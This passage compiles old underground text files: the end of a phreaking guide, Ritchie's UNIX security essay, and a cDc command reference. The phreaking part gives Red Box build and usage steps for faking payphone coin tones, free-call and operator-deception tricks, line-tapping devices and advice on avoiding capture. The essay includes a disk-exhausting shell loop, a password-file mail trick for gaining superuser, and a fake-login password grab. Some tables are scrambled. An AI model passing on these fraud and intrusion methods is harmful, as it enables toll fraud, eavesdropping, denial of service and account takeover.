your home phone line. 3. Never use your real name when phreaking. 4. Be careful who you tell about your phreaking projects. 5. Never leave phreaking materials out in the open. Keep them in a safe place. 6. Don't get caught. D. Where and how to start phreaking Well, you can phreak on any telephone, but as stated above, it is very stupid to do so on your home phone line. First you need you need to construct the boxes needed for what you want to do. All of the boxes and their descriptions are listed in the next section. Most of the boxes are very easy to make, but if your not into making shit, there are usually alternative ways of making them. E. Boxes and what they do Box: Red Box Description: generates tones for free phone calls Black Box when called, caller pays nothing Beige Box lineman's handset Green Box generates coin return tones Cheese Box turns your phone into a payphone Acrylic Box steal 3-way calling and other services Aqua Box stops F.B.I. lock-in-trace Blast Box phone microphone amplifier Blotto Box shorts out all phones in your area Blue Box generates 2600hz tone Brown Box creates party line Bud Box tap neighbors phone Chatreuse Box use electricity from phone Chrome Box manipulates traffic signals Clear Box free calls Color Box phone conversation recorder Copper Box causes crosstalk interference Crimson Box Dark Box hold button re-route calls Dayglo Box connect to neighbors phone line Divertor Box re-route calls DLOC Box create party line Gold Box dialout router Infinity Box remote activated phone tap Jack Box touch-tone key pad Light Box in-use light Lunch Box AM transmitter Magenta Box connect remote phone line to another Mauve Box phone tap without cutting into the line Neon Box external microphone Noise Box creates line noise Olive Box external ringer Party Box creates party line Pearl Box tone generator Pink Box Purple Box creates party line hold button Rainbow Box kill trace Razz Box tap neighbors phone Rock Box add music to phone line Scarlet Box causes interference Silver Box create DTMF tones for A,B,C, and D Static Box raises voltage on phone line Switch Box add services Tan Box phone conversation recorder TV Cable Box see sound waves on TV Urine Box create disturbance on phone headset Violet Box stop payphone from hanging up White Box DTMF key pad Yellow Box add line extension F. Box Plans The Red Box is the main tool that you will use so I have included the Red Box plans. The other box plans can be downloaded from the Internet. Red Box: There are two ways that you can make a Red Box: One is to go to Radio Shack and buy a tone dialer and a 6.5536Mhz crystal.(If Radio Shack doesn't have the crystal, you can order them from the electronics companies that I have listed at the end of this section.) Open up the tone dialer and replace the existing crystal (big, shiny, metal thing labeled "3.579545Mhz") with the 6.5536Mhz crystal. Now, close it up. You have a red box. To use it for long distance calls play the tones that add up to the amount of money that the operator requests. For a 25 cents tone press 5 *'s. For a 10 cents tone press 3 *'s. For a 5 cents tone press 1 *. And, the second way, which is a much easier method, is to get the Red Box tones from a phreaking program, such as: Omnibox, or Fear's Phreaker Tools. Play the tones as you hold a microcassette recorder about 1-inch away from your computer speakers, and record the tones. The Red Box only works on public telephones, it does not work on COCOT's.(Defined in next section.) It makes the telephone think that you have put money in. Red Boxes do not work on local calls because the phone is not using ACTS (Automated Coin Toll System), unless you call the operator and have her place the call for you. You tell her the number that you want to dial and then when she asks you to put in your money, play the tones. If she asks you why you need her to place the call tell her that one of the buttons is smashed in or something like that. You now have and know how to use a Red Box! Electronics Companies: Alltronics 2300 Zanker Road San Jose, CA 95131 (408)943-9774 -Voice(408)943-9776 -Fax- Blue Saguaro P.O. Box 37061 Tucson, AZ 85740 Mouser (800)346-6873 Unicorn Electronics 10000 Canoga Ave. Unit C-2 Chatsworth, CA 91311 1-800-824-3432 G. Free calling from COCOT's First of all, COCOT stands for "Customer Owned Customer Operated Telephone". These are most likely to be found at resteraunts, amusement parks, etc. All you have to do to make a free call from a COCOT is dial a 1-800 number (they let you do this for free), say some bullshit and get them to hang up on you. Stay on the line after they hang up, then dial the number that you want to call. This may not work by the time you read this because COCOT owners are becoming more aware of us every day. H. ANAC numbers ANAC stands for "Automated Number Announcment Circuit". In other words, you call the ANAC number in your area and it tells you the number that you are calling from. This is useful when Beige Boxing, or hooking your modem up to other phone lines, to find out what number you are using. The "?" are substituted for unknown numbers. Do some scanning to find them out. Here are the ANAC numbers for the U.S.A. with their area code, and the only one I knew of in the U.K.: U.S.A.: Area Code: ANAC Number: 201 958 202 811 203 970 205 300-222-2222 205 300-555-5555 205 300-648-1111 205 300-765-4321 205 300-798-1111 205 300-833-3333 205 557-2311 205 811 205 841-1111 205 908-222-2222 206 411 207 958 209 830-2121 209 211-9779 210 830 212 958 213 114 213 1223 213 211-2345 213 211-2346 213 760-2??? 213 61056 214 570 214 790 214 970-222-2222 214 970-611-1111 215 410-???? 215 511 215 958 216 200-???? 216 331 216 959-9968 217 200-???-???? 219 550 219 559 301 958-9968 310 114 310 1223 310 211-2345 310 211-2346 312 200 312 290 312 1-200-8825 312 1-200-555-1212 313 200-200-2002 313 200-222-2222 313 200-???-???? 313 200200200200200 314 410-???? 315 953 315 958 315 998 317 310-222-2222 317 559-222-2222 317 743-1218 334 5572411 334 5572311 401 200-200-4444 401 222-2222 402 311 404 311 404 940-???-???? 404 940 405 890-7777777 405 897 407 200-222-2222 408 300-???-???? 408 760 408 940 409 951 409 970-???? 410 200-6969 410 200-555-1212 410 811 412 711-6633 412 711-4411 412 999-???? 413 958 413 200-555-5555 414 330-2234 415 200-555-1212 415 211-2111 415 2222 415 640 415 760-2878 415 7600-2222 419 311 502 200-2222222 502 997-555-1212 503 611 503 999 504 99882233 504 201-269-1111 504 998 504 99851-0000000000 508 958 508 200-222-1234 508 200-222-2222 508 26011 509 560 510 760-1111 512 830 512 970-???? 515 5463 515 811 516 958 516 968 517 200-222-2222 517 200200200200200 518 511 518 997 518 998 603 200-222-2222 606 997-555-1212 606 711 607 993 609 958 610 958 610 958-4100 612 511 614 200 614 517 615 200200200200200 615 2002222222 615 830 616 200-222-2222 617 200-222-1234 617 200-222-2222 617 200-444-4444 617 220-2622 617 958 618 200-???-???? 618 930 619 211-2001 619 211-2121 703 811 704 311 707 211-2222 708 1-200-555-1212 708 1-200-8825 708 200-6153 708 724-9951 708 356-9646 713 380 713 970-???? 713 811 714 114 714 211-2121 714 211-2222 716 511 716 990 717 958 718 958 802 2-222-222-2222 802 200-222-2222 802 1-700-222-2222 802 111-2222 805 114 805 211-2345 805 211-2346 805 830 806 970-???? 810 200200200200200 812 410-555-1212 813 311 815 200-???-???? 817 290 817 211 818 970-611-1111 818 1223 818 211-2345 903 211-2346 904 970-611-1111 906 200-222-222 907 1-200-222-2222 907 811 908 958 910 200 910 311 910 988 914 990-1111 915 970-???? 916 211-2222 916 461 919 200 919 711 U.K.: 175 III. REFERENCE A. Hacking and phreaking WWW. sites Here is a list of some World Wide Web sites that contain hacking, phreaking, computer, virus, carding, security, etc. material: Site Address: http://www.outerlimits.net/lordsome/index.html (Hacker's Layer) http://web2.airmail.net/km/hfiles/free.htm http://resudox.net/bio/novell.html http://www.louisville.edu/wrbake01/hack2.html (Hacker's Hideout) http://www.intersurf.com/~materva/files.html http://hightop.nrl.navy.mil/rainbow.html http://www.rit.edu/~jmb8902/hacking.html http://www.spatz.com/pecos/index.html http://pages.prodigy.com/FL/dtgz94a/files2.html http://www.2600.com (alt.2600) http://att.net/dir800 http://draco.centerline.com:8080/~franl/crypto.html http://everest.cs.ucdavis.edu/Security.html http://ice-www.larc.nasa.gov/WWW/security.html http://lOpht.com (lOpht) http://lOpht.com/~oblivion/IIRG.html http://underground.org http://www.alw.nih.gov/WWW/security.html http://www.aspentec.com/~frzmtdb/fun/hacker.html http://www.cis.ohi-state.edu/hypertext/faq/usenet/alt-2600-faq/faq.html http://www.cs.tufts.ed/~mcable/cypher/alerts/alerts.html http://www.engin.umich.edu/~jgotts/underground/boxes.html http://www.etext.org/Zines http://www.inderect.com/www/johnk/ http://www.mgmua.com/hackers/index.html http://www.paranoia.com/mthreat http://www.paranoia.com/astrostar/fringe.html http://www.umcc.umich.edu/~doug/virus-faq.html http://www.wired.com B. Good hacking and phreaking text files All of these files are available by download from the Internet. File Name: A Novice's Guide To Hacking Alt.2600 Hack Faq The Hacker's Handbook The Official Phreaker's Manual Rainbow Books (Listed in Section D.) The Hacker Crackdown Computer Hackers: Rebels With A Cause The Legion Of Doom Technical Journals The Ultimate Beginner's Guide To Hacking And Phreaking (Of course!) C. Hacking and phreaking Newsgroups alt.2600 alt.2600.hope.tech alt.cellular alt.cellular-phone-tech alt.comp.virus alt.cracks alt.cyberpunk alt.cyberspace alt.dcom.telecom alt.fan.lewiz alt.hackers alt.hackintosh alt.hackers.malicious alt.security D. Rainbow Books The Rainbow Books are a series of government evaluations on various things related to computer system security. You can get all of the existing Rainbow Books free and if you ask to be put on their mailing list you will get each new one as it comes out. Just write to the address or call the number below: Infosec Awareness Division ATTN: x711/IAOC Fort George G. Meade, MD 20755-6000 or call: (410)766-8729 Here is the list of all the Rainbow Books and their descriptions: Color: Description: Orange 1 D.O.D. Trusted Computer Systems Green D.O.D. Password Management Yellow Computer Security Requirements Yellow 2 Computer Security Requirements Tan Understanding Audit In Trusted Systems Bright Blue Trusted Product Evaluation Neon Orange Understanding Discretionary Access Teal Green Orange 2 Red Glossary Of Computer Terms Understanding Configurations Interpretation Of Evaluation Burgundy Understanding Design Documentation Dark Lavender Understanding Trusted Distrobution Venice Blue Computer Security Sub-Systems Aqua Understanding Security Modeling Dark Red Pink Purple Brown Yellow-Green Light Blue Interpretations Of Environments Rating Maintenence Phase Formal Verification Systems Understanding Trusted Facilities Writing Trusted Facility Manuals Understanding Identification And Authentication In Trusted Systems Blue Product Evaluation Questionaire Gray Selecting Access Control List Lavander Data Base Management Interpretation Yellow 3 Understanding Trusted Recovery Bright Orange Understanding Security Testing Purple 1 Guide To System Procurement Purple 2 Guide To System Procurement Purple 3 Guide To System Procurement Purple 4 Guide To System Procurement Green Understanding Data Remanence Hot Peach Writing Security Features Turquiose Understanding Information Security Violet Controlled Access Protection Light Pink E. Cool hacking and phreaking magazines Phrack Magazine 2600 Magazine Tap Magazine Phantasy Magazine F. Hacking and phreaking movies Understanding Covert Channels Movie: Hackers War Games G. Hacking and phreaking Gopher sites Address: ba.com csrc.ncsl.nist.gov gopher.acm.org gopher.cpsr.org gopher.cs.uwm gopher.eff.org oss.net spy.org wiretap.spies.com H. Hacking and phreaking Ftp sites Address: 2600.com agl.gatech.edu/pub asylum.sf.ca.us clark.net/pub/jcase ftp.armory.com/pub/user/kmartind ftp.armory.com/pub/user/swallow ftp.fc.net/pub/defcon/BBEEP ftp.fc.net/pub/phrack ftp.giga.or.at/pub/hacker ftp.lava.net/users/oracle ftp.microserve.net/ppp-pop/strata/mac ftp.near.net/security/archives/phrack ftp.netcom.com/pub/br/bradelym ftp.netcom.com/pub/daemon9 ftp.netcom.com/pub/zz/zzyzx ftp.primenet.com/users/k/kludge I. Hacking and phreaking BBS's BBS's are Bulletin Board Systems on which hackers and phreakers can post messages to each other. Here is a list of some BBS's that I know of. If you know of any other BBS's, please E-Mail me via the A.S.H. E-Mail address. Also, Please note that some of these may be old and not running. Area Code: Phone Number: Name: 203 832-8441 Rune Stone 210 493-9975 The Truth Sayer's Domain 303 343-4053 Hacker's Haven 315 656-5135 Independent Nation 315 656-5135 UtOPiA 855-2923 Maas-Neotek 708 676-9855 Apocalypse 2000 713 579-2276 KOdE AbOdE 806 747-0802 Static Line 908 526-4384 Area 51 502 499-8933 Blitzkrieg 510 935-5845 ...Screaming Electron 408 747-0778 The Shrine 617 708 459-7267 The Hell Pit 415 345-2134 Castle Brass 415 697-1320 7 Gates Of Hell J. Cool hackers and phreakers Yes there are many, many, cool hackers and phreakers out there, but these are some that helped me to get this file out on the Internet. I did not list a few people because I only knew their real name, and I don't want to use their real name without their permission. Handle: Silicon Toad Logik Bomb/Net Assasin oleBuzzard Lord Somer Weezel Thanks for your help guys. K. Hacker's Manifesto "This is our world now...the world of the electron and the switch, the beauty of the baud. We make use of a service already existing without paying for what could be dirt cheep if it wasn't run by profiteering gluttons, and you call us criminals. We explore...and you call us criminals. We exist without skin color, without nationality, without religious bias...and you call us criminals. You build atomic bombs, wage wars, murder, cheat, and lie to us and try to make us believe it is for our own good, yet we're the criminals. Yes, I am a criminal. My crime is that of curiosity. My crime is that of judging people by what they say and think, not what they look like. My crime is that of outsmarting you, something that you will never forgive me for. I am a hacker and this is my manifesto. You may stop this individual, but you can't stop us all...after all, we're all alike." +++The Mentor+++ K. Happy hacking! Be careful and have fun. Remember to keep your eye out for the next volume of The Ultimate Beginner's Guide To Hacking And Phreaking and the Legion Of the Apocalypse W.W.W. page. Oh, and keep looking for our on-line magazine, too, it should be coming out soon. Well, I hope you enjoyed the file and found it informative. I also hope that I helped get you started in hacking and phreaking. "The Revelation is here." *-Revelation-* LOA--ASH EOF Following is all the information that you need to understand the workings of the UNIX operating system (Berkley 4.2). Patched together by The War On the security side of UNIX: ----------------------------On the Security of UNIX Dennis M. Ritchie Recently there has been much interest in the security aspects of operating systems and software. At issue is the ability to prevent undesired disclosure of information, destruction of information, and harm to the functioning of the system. This paper discusses the degree of security which can be provided under the system and offers a number of hints on how to improve security. The first fact to face is that was not developed with security, in any realistic sense, in mind; this fact alone guarantees a vast number of holes. (Actually the same statement can be made with respect to most systems.) The area of security in which is theoretically weakest is in protecting against crashing or at least crippling the operation of the system. The problem here is not mainly in uncritical acceptance of bad parameters to system calls there may be bugs in this area, but none are known- but rather in lack of checks for excessive consumption of resources. Most notably, there is no limit on the amount of disk storage used, either in total space allocated or in the number of files or directories. Here is a particularly ghastly shell sequence guaranteed to stop the system: while :; do mkdir x cd x done Ether a panic will occur because all the i-nodes on the device are used up, or all the disk blocks will be consumed, thus preventing anyone from writing files on the device. In this version of the system, users are prevented from creating more than a set number of processes simultaneously, so unless users are in collusion it is unlikely that any one can stop the system altogether. However, creation of 20 or so CPU or disk-bound jobs leaves few resources available for others. Also, if many large jobs are run simultaneously, swap space may run out, causing a panic. It should be evident that excessive consumption of disk space, files, swap space, and processes can easily occur accidentally in malfunctioning programs as well as at command level. In fact is essentially defenseless against this kind of abuse, nor is there any easy fix. The best that can be said is that it is generally fairly easy to detect what has happened when disaster strikes, to identify the user responsible, and take appropriate action. In practice, we have found that difficulties in this area are rather rare, but we have not been faced with malicious users, and enjoy a fairly generous supply of resources which have served to cushion us against accidental overconsumption. The picture is considerably brighter in the area of protection of information from unauthorized perusal and destruction. Here the degree of security seems (almost) adequate theoretically, and the problems lie more in the necessity for care in the actual use of the system. Each file has associated with it eleven bits of protection information together with a user identification number and a usergroup identification number (UID and GID). Nine of the protection bits are used to specify independently permission to read, to write, and to execute the file to the user himself, to members of the user's group, and to all other users. Each process generated by or for a user has associated with it an effective UID and a real UID, and an effective and real GID. When an attempt is made to access the file for reading, writing, or execution, the user process's effective UID is compared against the file's UID; if a match is obtained, access is granted provided the read, write, or execute bit respectively for the user himself is present. If the UID for the file and for the process fail to match, but the GID's do match, the group bits are used; if the GID's do not match, the bits for other users are tested. The last two bits of each file's protection information, called the set-UID and set-GID bits, are used only when the file is executed as a program. If, in this case, the set-UID bit is on for the file, the effective UID for the process is changed to the UID associated with the file; the change persists until the process terminates or until the UID changed again by another execution of a set-UID file. Similarly the effective group ID of a process is changed to the GID associated with a file when that file is executed and has the set-GID bit set. The real UID and GID of a process do not change when any file is executed, but only as the result of a privileged system call. The basic notion of the set-UID and set-GID bits is that one may write a program which is executable by others and which maintains files accessible to others only by that program. The classical example is the game-playing program which maintains records of the scores of its players. The program itself has to read and write the score file, but no one but the game's sponsor can be allowed unrestricted access to the file lest they manipulate the game to their own advantage. The solution is to turn on the set-UID bit of the game program. When, and only when, it is invoked by players of the game, it may update the score file but ordinary programs executed by others cannot access the score. There are a number of special cases involved in determining access permissions. Since executing a directory as a program is a meaningless operation, the execute-permission bit, for directories, is taken instead to mean permission to earch he directory for a given file during the scanning of a path name; thus if a directory has execute permission but no read permission for a given user, he may access files with known names in the directory, but may not read (list) the entire contents of the directory. Write permission on a directory is interpreted to mean that the user may create and delete files in that directory; it is impossible for any user to write directly into any directory. Another, and from the point of view of security, much more serious special case is that there is a ``super user'' who is able to read any file and write any nondirectory. The super-user is also able to change the protection mode and the owner UID and GID of any file and to invoke privileged system calls. It must be recognized that the mere notion of a super-user is a theoretical, and usually practical, blemish on any protection scheme. The first necessity for a secure system is of course arranging that all files and directories have the proper protection modes. Traditionally, software has been exceedingly permissive in this regard; essentially all commands create files readable and writable by everyone. In the current version, this policy may be easily adjusted to suit the needs of the user. installation or the individual Associated with each process and its descendants is a mask, which is in effect with the mode of every file and directory created by that process. In this way, users can arrange that, by default, all their files are no more accessible than they wish. The standard mask, set by allows all permissions to the user himself and to his group, but disallows writing by others. To maintain both data privacy and data integrity, it is necessary, and largely sufficient, to make one's files inaccessible to others. The lack of sufficiency could follow from the existence of set-UID programs created by the user and the possibility of total breach of system security in one of the ways discussed below (or one of the ways not discussed below). For greater protection, an encryption scheme is available. Since the editor is able to create encrypted documents, and the command can be used to pipe such documents into the other text-processing programs, the length of time during which cleartext versions need be available is strictly limited. The encryption scheme used is not one of the strongest known, but it is judged adequate, in the sense that cryptanalysis is likely to require considerably more effort than more direct methods of reading the encrypted files. For example, a user who stores data that he regards as truly secret should be aware that he is implicitly trusting the system administrator not to install a version of the crypt command that stores every typed password in a file. Needless to say, the system administrators must be at least as careful as their most demanding user to place the correct protection mode on the files under their control. necessary that special files be protected from In particular, it is writing, and probably reading, by ordinary users when they store sensitive files belonging to other users. It is easy to write programs that examine and change files by accessing the device on which the files live. On the issue of password security, is probably better than most systems. Passwords are stored in an encrypted form which, in the absence of serious attention from specialists in the field, appears reasonably secure, provided its limitations are understood. In the current version, it is based on a slightly defective version of the Federal DES; it is purposely defective so that easily- available hardware is useless for attempts at exhaustive key-search. Since both the encryption algorithm and the encrypted passwords are available, exhaustive enumeration of potential passwords is still feasible up to a point. We have observed that users choose passwords that are easy to guess: they are short, or from a limited alphabet, or in a dictionary. Passwords should be at least six characters long and randomly chosen from an alphabet which includes digits and special characters. Of course there also exist feasible non-cryptanalytic ways of finding out passwords. For example: write a program which types out ``login:'' on the typewriter and copies whatever is typed to a file of your own. invoke the command and go away until the victim arrives. Then The set-UID ( set-GID) notion must be used carefully if any security is to be maintained. The first thing to keep in mind is that a writable set-UID file can have another program copied onto it. For example, if the super-user command is writable, anyone can copy the shell onto it and get a password-free version of A more subtle problem can come from set-UID programs which are not sufficiently careful of what is fed into them. To take an obsolete example, the previous version of the command was set-UID and owned by the super-user. This version sent mail to the recipient's own directory. The notion was that one should be able to send mail to anyone even if they want to protect their directories from writing. The trouble was that was rather dumb: anyone could mail someone else's private file to himself. Much more serious is the following scenario: make a file with a line like one in the password file which allows one to log in as the super-user. Then make a link named ``.mail'' to the password file in some writable directory on the same device as the password file (say/tmp). Finally mail the bogus login line to /tmp/.mail; You can then login as the superuser, clean up the incriminating evidence, and have your will. The fact that users can mount their own disks and tapes as file systems can be another way of gaining superuser status. Once a disk pack is mounted, the system believes what is on it. Thus one can take a blank disk pack, put on it anything desired, and mount it. There are obvious and unfortunate consequences. For example: a mounted disk with garbage onit will crash the system; one of the files on the mounted disk can easily be a password-free version of other files can be unprotected entries for special files. The only easy fix for this problem is to forbid the use of to unprivileged users. A partial solution, not so restrictive, would be special file for bad data, set-UID to have the command examine the programs owned by others, and accessible special files, and balk at unprivileged invokers. Info about the /etc/passwd file: --NME passwd - password file DSCRIPTION Passwd contains for each user the following information: name (login name, contains no upper case) encrypted password numerical user ID numerical group ID user's real name, office, extension, home phone. initial working directory program to use as Shell The name may contain `&', meaning insert the login name. This information is set by the chfn(1) command and used by the finger(1) command. This is an ASCII file. Each field within each user's entry is separated from the next by a colon. Each user is separated from the next by a new line. If the password field is null, no password is demanded; if the Shell field is null, then /bin/sh is used. This file resides in directory / etc. Because of the encrypted passwords, it can and does have general read permission and can be used, for example, to map numerical user ID's to names. Appropriate precautions must be taken to lock the file against changes if it is to be edited with a text editor; vipw(8) does the necessary locking. FLES /etc/passwd SE ALSO getpwent(3), login(1), crypt(3), passwd(1), group(5), chfn(1), finger(1), vipw(8), adduser(8) BGS A binary indexed file format should be available for fast access. User information (name, office, etc.) should be stored elsewhere. --Now if you have had the patience to read all of this and you have digested it you know everything that you need to know about the Unix system to hold up your end of an intelligent conversation. Have fun! _______________________________________________________________________________ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ _ _ _ ((___)) [ x x ] \ / _ ((___)) cDc communications, inc. presents... [ x x ] \ / (` ') (` ') (U) (U) Gibe's UNIX COMMAND Bible ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ The latest file from the Cow's Information Series, Franken's UNIX Command Bible is suitable for the UNIX dilettante, as well as for the hardcore hack. Provides easy reference for those hard-to-remember commands. Attractive print-out fits well in any decor. Edited by High Priest and Scribe, F. Gibe "Smash the State! Have a Nice Day!" ........ 1987 _______________________________________________________________________________ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Command Description ~~~~~~~ ~~~~~~~~~~~ awk Search for a pattern within a file. Includes a built-in programming language. bdiff Compares two large files. bfs Scans a large file. cal Displays a calendar. cat Concatenates and prints files. cc C cd Change directory. compiler. chgrp Changes a file's group ownership. chmod Changes a file's access permissions. chown Changes the individual ownership of a file. cmp Compares two files; diplays the location (line and byte) of the 1st difference between these. comm Compares two files so as to determine which lines are common to both. cp Copies a file to another location. cu Calls another UNIX system. date Returns the date and time. df diff Displays free space in the file system. Displays the differences between two files or directories. diff3 Displays the differences between three files or directories. du echo Reports on file system usage. Displays its argument. ed Text editor. ex Text editor. expr Evaluates its argument which is generally a mathematical formula. f77 FORTRAN compiler. find Locates the files w/ specified characteristics. format Initializes a floppy disk. grep Searches for a pattern within a file. (see awk) help Salvation. kill Ends a process. ln Used to link files. lpr Copies the file to the line printer. ls Displays info. about one or more files. mail Used to receive or deliver e-mail. mkdir more Creates a new directory. Displays a long file so that the user can scroll through it. mv Used to move or rename files. nroff Used to format text. ps Display a process's status. pwd Display the name of the working directory. rm Removes one or more files. rmdir Deletes one or more directories. sleep Causes a process to become inactive for a specified length of time. sort Sort and merge one or more files. spell Finds spelling errors in a file. split Divides a file. stty Display or set terminal parameters. tail Displays the end of a file. troff Outputs formatted output to a typesetter. tset Sets the terminal type. umask Allows the user to specify a new creation mask. uniq Compares 2 files. Finds and displays lines in one file that are unique. uucp UNIX-to-UNIX execute. vi Full screen editor. wc Displays details in the file size. who Info. on who else be online. write Used to send a message to another user. _______________________________________________________________________________ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ That's the Summary. Now print it out, if you'd like. Good for fast referencing. Following the Summary is a more in-depth look at each of the commands already listed. _______________________________________________________________________________ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ awk program filenames awk -f programfilenames filenames ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ The [awk] utility can be used to find any lines in a file which match a certain pattern; once found, these lines can be processed. In the first configuration, the program that [awk] is to execute is specified in the command line. In the second, the program is stored as the file given in programfilename. The -f option instructs [awk] to read this file. [bdiff] is used to compare files too large for [diff]. See [diff] for the format. bfs filename ~~~~~~~~~~~~ [bfs] is used to scan a large file to determine where to split it into smaller files. cal 01-12 (month) 0-9999 (year) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ [cal] utility can be used to display a calendar of any year from 0 to 9999 AD, and any or all of the twelve months. cat filename ~~~~~~~~~~~~ [cat] can be used to examine a short file. See [more] for lengthier files. number[cc] ~~~~~~~~~~ The [cc] command changes the entire current line, or a group of lines starting with the current line. [number] represents the number of old lines to be deleted. cd directory name ~~~~~~~~~~~~~~~~~ The [cd] command causes the current working directory to be changed. The [directory name] can be either a full or partial path name. chgrp groupname filename ~~~~~~~~~~~~~~~~~~~~~~~~ This command changes the group ownership of a file. chmod {ugoa} {+-} {rwx} ~~~~~~~~~~~~~~~~~~~~~~~ The [chmod] utility changes a file's access permissions. [u] specifies the user or owner's login name, [g] specifies a group and [o] indicates all others. [a] indicates the user, group, and all others; c'est the default. [+] adds permission; [-] deletes it. [r] indicates read, [w] write, and [x] execute. chown individualname filename ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ [chown] changes the individual ownership of a file (see chgrp). cmp filename1 filename2 ~~~~~~~~~~~~~~~~~~~~~~~ [cmp] is one of the four principle UNIX file comparison utilities. It compares 2 files, and returns the positions where they differ. comm -options filename1 filename2 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ The [comm] utility, in comparing two files, produces three columns of output. The first contains lines unique to the first file, the second, lines unique to the second, and the third column, lines common to both files. By placing the numbers [1], [2], and/or [3] in the [options] position, any one (or more) of these columns can be suppressed. cp sendingfile receivingfile ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ The [cp] command copies a file. [sendingfile] is the file to be copied, [receivingfile] is the file to which it is copied. diff [options] filename1 filename2 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Again, a file comparison utility. However, with [diff], the differences are displayed as instructions that can be used to edit the files so that they are identical. diff3 filename1 filename2 filename3 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Similar to [diff], [diff3] is unique in that it can compare three files. Gee. ed filename ~~~~~~~~~~~ One of the UNIX's three editing utilities, [ed] is a basic line editor. I'm sure there are other files that will explain how to use [ed]. Thus, I'll confine myself to a rough outline: e filename ........... edit a different file f filename ........... changes the currently specified file. h .................... provides explanation of errors. I text ................. inserts text before the current line. line,linel ........... lists the specified lines. line,linen ........... displays specified lines, preceded by their line numbers. q .................... exit from [ed] w .................... writes buffer to current filename. + or - ............... +number of lines closer to end -number of lines closer to beginning. expr formula ~~~~~~~~~~~~ Utility which evaluates an expression. find directory searchcriteria parameter actioncriteria parameter ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ The [find] utility can be very useful indeed, especially when confronted by a UNIX with countless files. Basically, this command finds files which meet certain criteria, and then performs an operation (such as printing the files). Search criteria consists of the following: Criteria Parameter Description ~~~~~~~~ ~~~~~~~~~ ~~~~~~~~~~~ -name filename Files whose names match [filename] will meet this criteria. -type filetype Files whose type matches that specified [b] block special will meet criteria. [c] character spec. file [d] directory file [f] plain file -links +/- x Files with # of links indicated by + or - x meet this criteria. -user login name or user ID # -group group name or group ID # -size + or - x Files belonging to user with given login name or ID # meet criteria. Files belonging to group with given group name or ID # meet this criteria. Files greater than +x bytes or less than -x bytes meet this criteria. -atime + or - x Files not accessed within +x days, accessed within -x days, or accessed x days ago meet criteria. -mtime + or - x Files NOT modified within +x days, modified within -x days, or modified x days ago will meet this criteria. -newer filename Files modified more recently than [filename] meet this criteria. Action Criteria " " ~~~~~~~~~~~~~~~ ~ ~ -print - When search criteria are met, path name of the file is displayed. -exec command{ }\; Executes given command when search criteria are met. { } indicates filename, [\;] ends the command. -ok command{ }\; Exactly like -exec, except user is prompted [y] or [n] before command. grep -options searchstring filenames ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Another search command, this for a particular string of chars. ln original new ~~~~~~~~~~~~~~~ [ln] establishes a file link. For this utility, [original] represents the filename to be linked, [new] the filename of the new link to the original. [ls] provides directory information. [ls -l/] displays a more complete version of the info. list. mail username username ~~~~~~~~~~~~~~~~~~~~~~ This utility allows e-mail to be sent to other system users. mail ~~~~ Simply typing [mail] checks the user's own mailbox. When sending mail, several items must be set: ~s text ............ sets the subject field ~c user names ...... sends other users carbon copies of mail m user names ....... activates the compose mode, with the specified users as the message's recipients. ~h ................. displays and allows editing of all headers. ^D ................. ends message editing; sends mail. ~r filename ........ places file in body of message (keen command) Reading One's Own Mail: h number or range ....... causes specified headers to be displayed p message # ............. displays entire message d number or range ....... deletes specified messages u number or range ....... undelete specified mail during SAME mail session (messages removed after q) q ....................... leave the post office mkdir directoryname ~~~~~~~~~~~~~~~~~~~ [mkdir] allows creation of a subdirectory, for your dining enjoyment. more filename ~~~~~~~~~~~~~ For longer files, [more] is a convenient utility. It will display the first screen of file data and then stop, allowing the user to control scrolling henceforth. mv oldfilename newfilename ~~~~~~~~~~~~~~~~~~~~~~~~~~ The [mv] utility can be used simply to rename a file, or... mv filea fileb... directory ~~~~~~~~~~~~~~~~~~~~~~~~~~~ [mv] can also be used to move files to a new directory, provided the directory exists, and you have write access to it. ps -options ~~~~~~~~~~~ The [ps] command, by itself, displays the status of each active process controlled by your terminal. This status report includes the Process Identification Number (PID), the terminal (TTY), the time the process has been executing (TIME), and the command line used to execute the process (CMD). [ps]'s three options include -a (displays info. on active processes controlled by any terminal), -x (info. on ALL active processes), and -l (an extensive status report on all active processes). pwd ~~~ [pwd] command displays the present working directory. rm filename ~~~~~~~~~~~ [rm] removes a file. More than one file can be specified. rmdir directoryname ~~~~~~~~~~~~~~~~~~~ This utility removes a directory, an EMPTY directory (save the hidden files). sleep seconds ~~~~~~~~~~~~~ The [sleep] utility causes a process to become inactive for a certain period of time. Max. seconds is 65,536 (about 18 hrs). sort -options filenames ~~~~~~~~~~~~~~~~~~~~~~~ [sort] merges and sorts files. Without options, [sort] orders files by the ASCII codes of the characters at the beginning of each line. Options include -b (leading blanks ignored), -d (only letters, digs, and blanks considered; "dictionary sort"), -f (case ignored), -n (numerical sort [for numerical data]), and -r (a reverse sort). split -size original resulting ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ [split] divides a large file into smaller ones. [size] refers to the number of lines the resulting files contain, [original] is the name of the orig. file, and [resulting] represents the prefix name assigned to the newly created files. umask ugo ~~~~~~~~~ [umask] changes the file CREATION mask (see [chmod] for already existing files). Here, [u] represents the owner's access permission, [g] the group's a.p., and [o] the a.p. for all others. [uucp] (UNIX to UNIX copy) can be used to send files to a remote UNIX, or retrieve files from the remote system. Other UNIX comm commands include [cu] (which 